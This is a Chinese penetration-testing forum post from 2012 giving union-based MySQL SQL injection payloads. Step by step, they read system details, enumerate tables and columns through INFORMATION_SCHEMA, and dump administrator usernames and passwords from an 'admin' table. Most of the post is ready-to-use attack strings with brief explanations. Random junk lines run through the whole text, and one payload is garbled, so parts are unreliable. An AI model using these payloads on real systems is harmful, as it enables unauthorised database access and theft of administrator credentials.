中国网络渗透测试联盟
标题:
mysql常规注入
[打印本页]
作者:
admin
时间:
2012-9-13 17:48
标题:
mysql常规注入
本文介绍MYSQL盲注的一些语句和方法
8 A) D: t/ L" `" ~' o! P/ c
6 ^; X7 d" K: t! o
学习盲注前先了解下 IFORMATION_SCHEMA 库
, c1 g) D! Z- ]
, o: S5 ?! J% m9 S
Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库,其中记录了Mysql中所有
( T J9 e9 _1 a# v; D
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。
1 m' _3 @1 ]" K$ R# n
1.得到所有数据库名:
8 H* Y3 A& t$ H
|SCHEMATA ->存储数据库名的表
( x; M, u$ V* s: |! Q# O
|---字段:SCHEMA_NAME ->数据库名称
6 f& m( @: v1 q& B
2 J$ k$ |' e8 }( c; K
|TABLES ->存储表名
) ]0 R5 j, d4 d
|---字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名
- n8 X) _9 ^/ E9 T0 v
|---字段:TABLE_NAME ->存储表的表名
) h8 `1 Y- t4 v `) T! Y
: G/ D6 _( y4 _' z2 t8 C- O
|COLUMNS ->存储的字段名表
0 n; v' y1 j$ w" r% O* k8 [ t$ }2 ]
|---字段:TABLE_SCHEMA ->该字段所属数据库名
+ G2 t( o' ^1 x7 M4 y8 v
|---字段:TABLE_NAME ->存储所属表的名称
4 G6 h9 }' P. s8 ~
u4 h, D4 i& R3 Z
|---字段:COLUMN_NAME ->该字段的名称
/ g. q3 _. m$ p8 [& {
3 I+ e( G% t/ S+ C: [% }
4 ?2 E) W: h) J) A" E
( [" I$ y4 T* }
###########################################################################
$ F1 x' ^" G* [7 L
7 S$ h3 S$ z/ |0 L% t
0x001 获取系统信息:
4 {3 w+ L! q5 E- \# d* z
) H2 s" ]+ f1 n' _
union select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*
2 \/ [" h& I2 A+ H2 D0 N* ~
: k. J7 k: A+ M Y! s9 K/ G
/*
6 H/ i1 N4 A V" q" w
2 O. [3 G" o& M6 u/ _
@@global.version_compile_os 获取系统版本
9 z5 I. t" o7 d
- D/ n4 s' `. p; \8 d- W; i
@@datadir 数据库路径
- ]- ?3 W% y( [* ^3 b
database() 当前数据库名称
" j2 l* d4 Z4 u9 M6 z
0x3c62723e 换行HEX值
, B% z4 O( ~5 S7 A l8 l8 {. B. @
+ D- b5 Y4 J2 m
*/
6 C, J$ r# O; h! Y6 r% D
3 |) C$ r4 `- B& U' T. V$ z
4 M& @: f* `4 |9 P! n `+ r
/ k9 e9 ]! B; H* ^0 Z. y1 A
######################################################################
/ g- t7 F0 y) Q& V# i
$ l9 m( u) v' M: w- k, u, P. o
0x002 获取表名
1 @: W/ U0 t4 u; e. L' X: l' U
$ N* u8 ~: z4 F+ C
union select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*
9 ~9 i- O2 M+ r) C: ^
/ B/ i k8 F% B5 D7 r) V& Q
" V) \: h# \9 A; J6 `9 Z
* @" o; Z0 x4 ]" }% d2 B) F
/*
0 H0 O* b9 R' s1 i7 ]- H
, |6 U' k& }7 W
0x67617264656e 为当前数据库名
, u# S# k2 |2 u" N; i" O2 u
4 q7 D& f' a# t& }
group_concat(table_name) 使用group_concat函数 一步获得该库所有表名
# D9 o" `1 G/ g& r; ]
) ?0 E4 w3 C- i+ Z
*/
9 d/ H, a& J/ N. {6 N
5 ?% }2 J9 A$ e6 T& ~
######################################################################
1 Z( ^, y/ f. @8 F7 A
# ]$ L9 T/ J* Q3 u1 I" C
- t. O5 a9 y) Q+ X2 p0 x+ P+ Q0 Q: q1 e
! x5 s( Z0 F* E7 o3 D5 @! D) J
0x003 获取字段
3 |& n8 m9 p2 f; I$ ?8 i
" i& B0 U. |$ e X( L
union select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*
, v4 T5 m; i% b" P+ z5 L" _% y
3 S5 C- G* d' p
/*
" E& D! U2 b N. b0 s
" k! j& k) t* @; ]2 [6 l0 i
group_concat(column_name) 同样是 一口气 获得该表(0x61646d696e)所有字段
/ e% ^# f1 [% k3 Q% [) y9 @/ j
( ~/ L3 F ~& N0 X( G6 Y
0x61646d696e ->选择一个表
+ Y% a: y* A1 i' v% ~
# K$ V' p' ]6 x7 C+ |) I! E
0x67617264656e ->数据库名
. `! y5 I. x; T2 f5 {: |
. J% G3 a" V6 r
*/
$ a; l: D! j8 {* O
$ R" f: H$ I8 V
#####################################################################
# A# c0 E2 Q% C. s# [
. U4 j4 F9 R% W5 }7 n' s& a
/ m5 A6 Z3 J5 r# P& F6 x2 l
' N _7 G; _: r! P1 p
0x004 获取数据
- m: o/ l+ f, u
( N9 p: q4 Y5 m# q9 }! L0 M
union select 1,2,3
- w) s* [' o$ w
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
# p) S! y1 {1 g( p' `
) D7 h) v3 v, V9 `! R
union select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin
1 j# t7 F' |. R6 g
. k' b& Z) x9 D" a( g
$ c8 _3 m. L* W7 B+ x: R
. G" e, A" O% I7 @) Q+ ^1 K( N
/*
; |# H* R- q8 C: B+ U
3 N) M% o# \8 Y) v- m
0x3c62723e 换行符号HEX编码
9 s7 c, F! x* U7 a; t
" x* t; Q5 F" ]# J, u
group_concat 同时获得该字段所有数据
* Z1 E1 Q2 q2 t/ j+ h
$ H' u$ a. n3 G( Q( h, e. S& L
*/
: o, ~+ Z" x! k4 P/ J
3 F" }6 E$ g+ Q/ s* N! Q- T
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2